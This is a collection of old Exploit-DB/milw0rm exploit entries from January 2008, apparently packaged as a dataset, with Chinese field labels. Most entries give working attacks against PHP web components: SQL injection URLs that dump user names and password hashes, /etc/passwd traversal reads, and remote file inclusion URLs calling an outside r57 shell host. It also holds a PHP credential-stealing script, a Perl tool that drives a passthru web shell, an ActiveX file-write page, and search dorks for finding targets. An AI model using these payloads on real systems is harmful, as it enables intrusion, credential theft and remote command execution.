QLWD/code_shield huggingface dataset:
标题: Mambo Component 'com_catalogshop' 1.0b1 - SQL Injection EDB-ID: 5030 CVE: 2008-0557 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-31 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_catalogshop)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_catalogshop"
#
########################################################################
EXPLOIT :

index.php?option=com_catalogshop&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/null,null,concat(password),3,4,5,6,7,8,9,10,11,12,concat(username)/**/from/**/mos_users/*


#########################################################################
# S@BUN                 www.hackturkiye.com                     S@BUN
#########################################################################
# S@BUN                      GOOD LUCKY                          S@BUN
#########################################################################

  <name>catalogshop</name>
  <creationDate>18.01.2005</creationDate>
  <author>K.J. Strickland</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>postbox@pixelbunyip.com</authorEmail>

  <authorUrl>www.pixelbunyip.com and www.mambomates.com</authorUrl>
  <version>1.0 beta 1 ruff n ready</version>
  <description>Catalogshop is a simple Mambo ecommerce component.</description>

# milw0rm.com [2008-01-31] URL: https://www.exploit-db.com/exploits/5030
标题: PHP Links 1.3 - 'id' SQL Injection EDB-ID: 5021 CVE: 2008-0565 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: -------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : Houssamix From H-T Team                          
= Script : PHP Links from DeltaScripts <= 1.3         
                     
        
= Download : http://softadmin.deltascripts.com/download.php
             (PHP Links v1.3 Released 13.09.2007 )     
           
= BUG :  Remote SQL Injection Vulnerability  

= Dork : Powered by PHP Links from DeltaScripts              

= Exploit :                                                  
vote.php?id=-1%20union%20select%20concat(user_name,0x3a,user_pass),2,3,4,5,6%20from%20phplinks_users%20where%20user_id=1--

= Note : admin login http://Target/path/admin/           

-------------------------------------------------------------
= Greetz : CoNaN - Stack-Terrorist - Gold_M - Rachidox
-------------------------------------------------------------

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5021
标题: Mambo Component EstateAgent 0.1 - SQL Injection EDB-ID: 5016 CVE: 2008-0517 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_estateagent)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorK 1 : allinurl: allinurl: "com_estateagent"
#
########################################################################
EXPLOIT :

index.php?option=com_estateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&results=S@BUN

#########################################################################
# S@BUN                      www.hackturkiye.com                   S@BUN
#########################################################################
# S@BUN                         GOOD LUCKY                          S@BUN
######################################################################### 

<name>EstateAgent</name>
<creationDate>17.08.2004</creationDate>
<author>Darko Selesi</author>
 <copyright>
This component is released under the GNU/GPL License
</copyright>
<authorEmail>e.agent@frame-works.de</authorEmail>
<authorUrl>mambo.frame-works.de</authorUrl>
<version>0.1</version>
<description>EstateAgent component for Mambo 4.5.x</description>

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5016
标题: Chilkat FTP ActiveX 2.0 - 'ChilkatCert.dll' Insecure Method EDB-ID: 5028 CVE: 2008-4583 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-31 漏洞利用脚本: <body bgcolor="#000000">

<div align="center">

<pre><code><span style="font: 10pt verdana;"><font color="#00FF00">=======================================================================
</font></div><center>
 <h1 id="product"><font color="#00FF00" size="2">Chilkat FTP ActiveX 2.0 (ChilkatCert.dll) Insecure Method</font><font face="Verdana" color="#00FF00"><br><br><font size="2"> Web site : <a href="http://www.chilkatsoft.com"><font color="#00FF00">www.chilkatsoft.com</font></a></font></font><font color="#00FF00"><br></font><font face="Verdana" color="#00FF00"><br><font size="2">=======================================================================</font></font></span><font color="#00FF00"><br><span style="font-style:normal; font-variant:normal; font-size:10pt; font-family:Verdana; font-weight:700">Author: darkl0rd<br> <br>E-mail: l_l_darkl0rd_l_l@yahoo.com</span><br><span style="font-style:normal; font-variant:normal; font-weight:normal; font-size:10pt; font-family:Verdana"><br> Tested on Windows XP Professional SP2 , with Internet Explorer 6</span></font></h1><p id="product"><font color="#FF0000">Class privateKey</font><font color="#00FF00"><br></font><font color="#FF0000">GUID: {A934AEE3-8896-485F-8A55-ACF2A87BD010}<br>Number of Interfaces: 1<br>Default Interface: IPrivateKey</font></p><p id="product"><font color="#FF0000">SavePkcs8File</font></p></center>

<div align="center"><font color="#00FF00"><object classid='clsid:A934AEE3-8896-485F-8A55-ACF2A87BD010' id='over' align="left" width="1" height="2"></object>
<input language=VBScript onclick=lose() type=button value="Exploit">

<script language='vbscript'>
 Sub lose
   mystr="c:\darkl0rd.txt"
   over.SavePkcs8File mystr
   MyMsg = MsgBox(" Done ! ")
 End Sub
</script>
</span></span>

</font></code></div></p>
</pre>

# milw0rm.com [2008-01-31] URL: https://www.exploit-db.com/exploits/5028
标题: Joomla! Component ChronoForms 2.3.5 - Remote File Inclusion EDB-ID: 5020 CVE: 2008-0567 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       CHRONOFORMS version V2.3.5
*    [~] Down.........:       http://www.joomlaos.de/option,com_remository/Itemid,41/func,startdown/id,2810.html
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       inurl:/com_chronocontact
*    [~] ForFix.........:     For Fix Your Script Download http://www.chronoengine.com/component/option,com_docman/task,cat_view/gid,27/ 2.3.7 Version
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*    
*
*       [~] Exploit Rfi...:http://[Taget]/[Path]//administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*
*           /administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*                            
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: Kac Kere Ã¶lDunuz ki " Olum Den Korkmuyorum Ben " Diyebiliyorsunuz . . .
                     



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, SiberSavascilar.com , (Cyber-Crime) , BiyoFrm.Com
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5020
标题: sflog! 0.96 - Remote File Disclosure EDB-ID: 5027 CVE: 2008-0703 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-31 漏洞利用脚本: sflog! 0.96 remote file disclosure vulnerabilities

download   http://sourceforge.net/projects/sflog/

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits   
http://localhost/sflog/?blog=test&permalink=../../../../../../../../../../etc/passwd
http://localhost/sflog/index.php?blog=test&section=../../../../../../../../../../etc/passwd

# milw0rm.com [2008-01-31] URL: https://www.exploit-db.com/exploits/5027
标题: Mambo Component jokes 1.0 - 'cat' SQL Injection EDB-ID: 5015 CVE: 2008-0519 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_jokes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_jokes"
#
########################################################################
EXPLOIT :

index.php?option=com_jokes&Itemid=S@BUN&func=CatView&cat=-776655/**/union/**/select/**/0,1,2,3,username,5,password,7,8/**/from/**/mos_users/*

#########################################################################
# S@BUN                    www.hackturkiye.com                        S@BUN
#########################################################################
# S@BUN                             GOOD LUCKY                        S@BUN
#########################################################################


  <mosinstall type="component">
    <name>jokes</name>
    <creationDate>29/12/2005</creationDate>
    <author>Atapin</author>
    <copyright>Released under the GNU/GPL License</copyright>
    <authorEmail>info@atapin.net</authorEmail>

    <authorUrl>www.atapin.net</authorUrl>
    <version>1.0</version>
    <description></description>

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5015
标题: PHP Links 1.3 - 'smarty.php' Remote File Inclusion EDB-ID: 5022 CVE: 2008-0566 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: -------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : Houssamix From H-T Team                          
= Script : PHP Links from DeltaScripts <= 1.3         
                     
        
= Download : http://softadmin.deltascripts.com/download.php
             (PHP Links v1.3 Released 13.09.2007 )     
           
= BUG :  Remote File Inclusion Vulnerability  

= Vulnerable Code : /includes/smarty.php   

require($full_path_to_public_program . "/admin/libs/Smarty.class.php"); <= Line 2

= Exploit :                                                  
http://target/phplinks/includes/smarty.php?full_path_to_public_program=Evil_script


-------------------------------------------------------------
= Greetz : CoNaN - Stack-Terrorist - Gold_M - Rachidox
-------------------------------------------------------------

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5022
标题: WordPress Plugin WassUp 1.4.3 - 'to_date' SQL Injection EDB-ID: 5017 CVE: 2008-0520 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: <?
# WordPress WassUp plugin v 1.4.3 Sql Injection Exploit 
#
# Plugin Homepage-http://www.wpwp.org/
#  
# Found by:enter_the_dragon
# 
# Tested successfully on v 1.4-1.4.3 
# (lower versions are possibly vulnerable too just check the source and modify the query as needed)

# Vuln code
#
# -In spy.php
#
# if (isset($_GET['to_date'])) $to_date = htmlentities(strip_tags($_GET['to_date']));
#    ...........
# spyview($from_date,$to_date,$rows); 
# 
# -In  main.php
#   
#   function spyview ($from_date="",$to_date="",$rows="999") { 
#      ...........
#      $qryC = $wpdb->get_results("SELECT id, wassup_id, max(timestamp) as max_timestamp, ip, hostname, searchengine,  
#  urlrequested, agent, referrer, spider, username, comment_author FROM $table_name WHERE timestamp BETWEEN $from_date AND 
#  $to_date GROUP BY id ORDER BY max_timestamp DESC"); 
# 

# Exploit
# 
# $from_date and $to_date GET variables used in an sql query without being properly filtered so we can inject sql code 
# using a query like ./spy.php?to_date=-1 group by id union select 1,2,3,4,5,6,7,8,9,10,11,12 from table
#
# If exploit is successful Wordpress administrator and users logins and md5 hashed passwords are retrieved
#
# 




echo "\n";
echo "------WordPress WassUp plugin v 1.4.3 Sql Injection Exploit-------"."\n";
echo "-------------------coded by : enter_the_dragon--------------------"."\n";
echo "------------------------------------------------------------------"."\n";
if ($argc!=3)
{
echo " Usage: $argv[0] target_host wp_path \n";
echo " target_host: Your target ex www.target.com \n";
echo " wp_path: WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder";      
echo "\n";
exit;
}


$query=$argv[1];
$query.=$argv[2];
$query.="wp-content/plugins/wassup/spy.php?";
$query.="to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users";

  
if(function_exists(curl_init))
{
  $ch = curl_init("http://$query");
  curl_setopt($ch, CURLOPT_HEADER,true);
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($ch, CURLOPT_TIMEOUT,10);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");  
  $html=curl_exec($ch);
  $returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
  curl_close($ch);
  if ($returncode==404) exit ("Vulnerable script isnt there....Check your path :| \n");
  
  $pattern="/\|(.*)?\|([a-z0-9]{32})\|/";
  if(preg_match_all($pattern,$html,$matches))
    {
     $usernames=$matches[1];
     $userpasses=$matches[2];
     for($i=0;$i<count($usernames);$i++)
 {
    echo "User Login:$usernames[$i]\n" ;
         echo "User Pass :$userpasses[$i]\n\n";     
 }
     }
          
 else 
     {
 exit ("Exploit Failed :( \n");
     } 


}
else
exit("Error:Libcurl isnt installed \n");

?>

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5017
标题: Connectix Boards 0.8.2 - 'template_path' Remote File Inclusion EDB-ID: 5012 CVE: 2008-0502 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: #!/usr/bin/perl
#
# Author : HouSSaMix From H-T Team
# Script : Connectix Boards (  Tested in last version 0.8.2 & 0.8.1 ) 
# Bug : Remote File Inclusion
# Vulnerable Code : <?php include ($template_path.'menu_links.php'); ?>
# Dork : powered by connectix boards
# Risk : High 
# Download : http://www.connectix-boards.org/
# Exploit: http://Target.il/[path]/templates/Official/part_userprofile.php?template_path=[Shell]

use LWP::Simple;

print "-------------------------[ H-T Team ]--------------------------\n";
print "-                                                             -\n";
print "-         Connectix Boards <=0.8.2  - Remote File Inclusion   -\n";
print "-                                                             -\n";
print "---------------------------------------------------------------\n";
print "-       H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo        -\n";
print "-       Bug found and Coded By HouSSaMix & ToXiC350           -\n";
print "---------------------------------------------------------------\n\n";

my $morocco,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/templates/Official/part_mps.php";


sub usage(){
       print "=> Usage: perl $0 Target/path http://site.com/cmd.txt\n";
       print "=> Ex   : perl $0 http://site.com/forum http://site.com/cmd.txt\n";
    print "Code of file cmd.txt : \n";
       print '<?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
    print "   \n";
          }

while ()
{
print "Enter your command :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$morocco = $path."?template_path=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($morocco); print $data ; }
}

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5012
标题: Mambo Component 'com_newsletter' 4.5 - 'listid' SQL Injection EDB-ID: 5007 CVE: 2008-0510 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-29 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_newsletter)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_newsletter"
#
########################################################################
EXPLOIT :

index.php?option=com_newsletter&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

#########################################################################
# S@BUN                       www.hackturkiye.com                    S@BUN
#########################################################################
# S@BUN                            GOOD LUCKY                            S@BUN
#########################################################################




notes:
"Newsletter component for mambo 4.5" from Adam van Dongen, www.tim-online.nl //Thanks George

# milw0rm.com [2008-01-29] URL: https://www.exploit-db.com/exploits/5007
标题: Mambo Component musepoes - 'aid' SQL Injection EDB-ID: 5011 CVE: 2008-0579 2008-0515 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_musepoes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_musepoes"
#
########################################################################
EXPLOIT :

index.php?option=com_musepoes&task=answer&Itemid=s@bun&catid=s@bun&aid=-1/**/union/**/select/**/0,username,password,0x3a,0x3a,3,0,0x3a,0,4,4,4,0,0x3a,0,5,5,5,0,0x3a/**/from/**/mos_users/*

#########################################################################
# S@BUN                     www.hackturkiye.com               S@BUN #########################################################################
#########################################################################
# S@BUN                         GOOD LUCKY                       S@BUN
#########################################################################


-------------------------------------------------------------------------------------------------------------------------------------------------

#########################################################################
#
# joomla SQL Injection(com_buslicense)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_buslicense"
#
########################################################################
EXPLOIT :

index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*


#########################################################################
# S@BUN                 www.hackturkiye.com                 S@BUN
#########################################################################
# S@BUN                    GOOD LUCKY                        S@BUN
#########################################################################

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5011
标题: Mambo Component 'com_mamml' - 'listid' SQL Injection EDB-ID: 5009 CVE: 2008-0511 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-29 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_mamml)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_mamml"
#
########################################################################
EXPLOIT :

index.php?option=com_mamml&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

#########################################################################
# S@BUN                  www.hackturkiye.com                  S@BUN

#########################################################################
#########################################################################
# S@BUN                       GOOD LUCKY                       S@BUN
#########################################################################

# milw0rm.com [2008-01-29] URL: https://www.exploit-db.com/exploits/5009
标题: phpMyClub 0.0.1 - 'page_courante' Local File Inclusion EDB-ID: 5000 CVE: 2008-0501 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-28 漏洞利用脚本: ## phpMyClub Local File Inclusion Vulnerability  

## Download script :
http://ovh.dl.sourceforge.net/sourceforge/phpmyclub/phpMyClub-0.0.1.zip

## Author : S.W.A.T.

## E-Mail : svvateam@yahoo.com - swat@svvat.ir

## Home : http://svvat.ir

## For Execute Exploit Does Not Write Extention Of
File

## example : [script]/?page_courante=../config/config

## exploit :

## http://localhost/[script]/?page_courante=../[name of file without .php]
##
http://localhost/[script]/?page_courante=../config/config

## Greetz:

## Xmors Digital Security Team - Str0ke - Dj7xpl - DarKLiFe - NazNazi

## In Portland Now - Maybe I Can't See IRAN Anyway (
This Is Really Bye NET  :(  For Ever )

  
#########################################################################
   #                   #
   #   BYE ALL MY FRIENDS OVER THE NET & EVERYTHING ON THE NET             #
   #                   #
   #########################################################################


# milw0rm.com [2008-01-28] URL: https://www.exploit-db.com/exploits/5000